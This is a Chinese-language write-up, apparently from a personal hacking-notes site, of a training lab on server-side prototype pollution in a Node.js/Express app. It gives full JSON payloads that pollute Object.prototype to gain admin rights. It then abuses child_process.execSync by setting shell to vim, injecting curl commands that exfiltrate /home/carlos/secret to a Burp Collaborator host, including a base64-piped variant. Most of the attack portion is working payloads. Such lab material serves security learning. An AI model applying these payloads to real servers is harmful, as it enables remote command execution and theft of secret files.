> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/exfiltration-of-sensitive-data-via-server-side-prototype-pollution.md).

# 通过服务器端原型污染外泄敏感数据

### 通过服务器端原型污染外传敏感数据

**实验说明**

此实验基于 **Node.js** 以及框架 **Express**。该应用易受 **服务器端原型污染** 因为它将用户控制的数据不安全地合并到服务器端 JavaScript 对象中。

由于这种配置，可以污染 `Object.prototype` 以注入并执行 **任意系统命令**.

实验目标：

* 找到一个原型污染点，以向……添加任意属性 `Object.prototype`.
* 找到一个可用的 gadget 来注入并执行系统命令。
* 开始执行一条会泄露 Carlos 的个人目录（`/home/carlos`）到一个公开的 **Burp Collaborator** 服务器。
* 外传该目录中一个秘密文件的内容，并提交获得的值。

已经可获得管理员访问权限。可通过以下方式连接：

* **凭据**: `wiener:peter`

<figure><img src="/files/969e6eb0ee7c79eb7897a16ece8ac609ef2f0d43" alt=""><figcaption></figcaption></figure>

**易受攻击的入口点**

……的功能 **地址修改** 易受原型污染攻击。

已发送的请求：

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
  "constructor": {
    "prototype": {
      "test": "false",
      "json spaces": 1
    }
  }
}
```

<figure><img src="/files/63de2e41c97d4813a5b2f39303134fccdcffc11c" alt=""><figcaption></figcaption></figure>

**污染确认**

服务器响应证实了 `Object.prototype` 污染和权限提升：

```json
{
 "username": "wiener",
 "firstname": "Peter",
 "lastname": "Wiener",
 "address_line_1": "Wiener HQ",
 "address_line_2": "One Wiener Way",
 "city": "Wienerville",
 "postcode": "BU1 1RP",
 "country": "UK",
 "isAdmin": true,
 "test": "false",
 "json spaces": 1
}
```

**管理功能**

<figure><img src="/files/a0afb063ef90de69e67e43f6aa2a71ff0561548f" alt=""><figcaption></figcaption></figure>

在管理面板中，有一个 **运行维护** 选项可用。她发送以下请求：

{% code overflow="wrap" %}

```json
{"csrf":"h46R2yfLgIvyIWxZirHtszPDxwU6L7Q1","sessionId":"kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN","tasks":["db-cleanup","fs-cleanup"]}
```

{% endcode %}

此功能使用 `child_process.execSync()` 服务器端。此函数包含 `shell` 和 `输入` 参数，这是一个可通过原型污染利用的 gadget。

<figure><img src="/files/74441b9f437a1a5a528153960211bbe7e168fb14" alt="" width="563"><figcaption></figcaption></figure>

**通过……注入命令 `execSync`**

在 `__proto__` 污染载荷中，可以控制传递给 `execSync`:

```bash
"__proto__": {
    "shell":"vim",
    "input":":! curl https://xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```

<figure><img src="/files/43adec2b48a2dcde373dddb5d196749b8a097d45" alt=""><figcaption></figcaption></figure>

执行维护任务时，应用端会失败，但会向 **Burp Collaborator**发送一个请求，从而证实命令执行。

<figure><img src="/files/32f076cca287650328ef0868f361b479658dfed2" alt=""><figcaption></figcaption></figure>

**秘密文件外传**

要外传 Carlos 的秘密文件内容，使用以下载荷：

```json
"__proto__": {或
    "shell":"vim",
    "input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```

或：

```bash
cat /home/carlos/ | base64 | curl -d @- xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com
```

完整请求：

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
 "__proto__": {
    "shell":"vim",
    "input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
}
```

**结果**

Burp Collaborator 服务器收到一个包含秘密文件值的请求：

```bash
I8jYiV1Nkj3IiWR0sbp5fpgVd5NXbAfR
```

<figure><img src="/files/0b715291cf1d9ba526f441217ca545ff9da0248d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/exfiltration-of-sensitive-data-via-server-side-prototype-pollution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
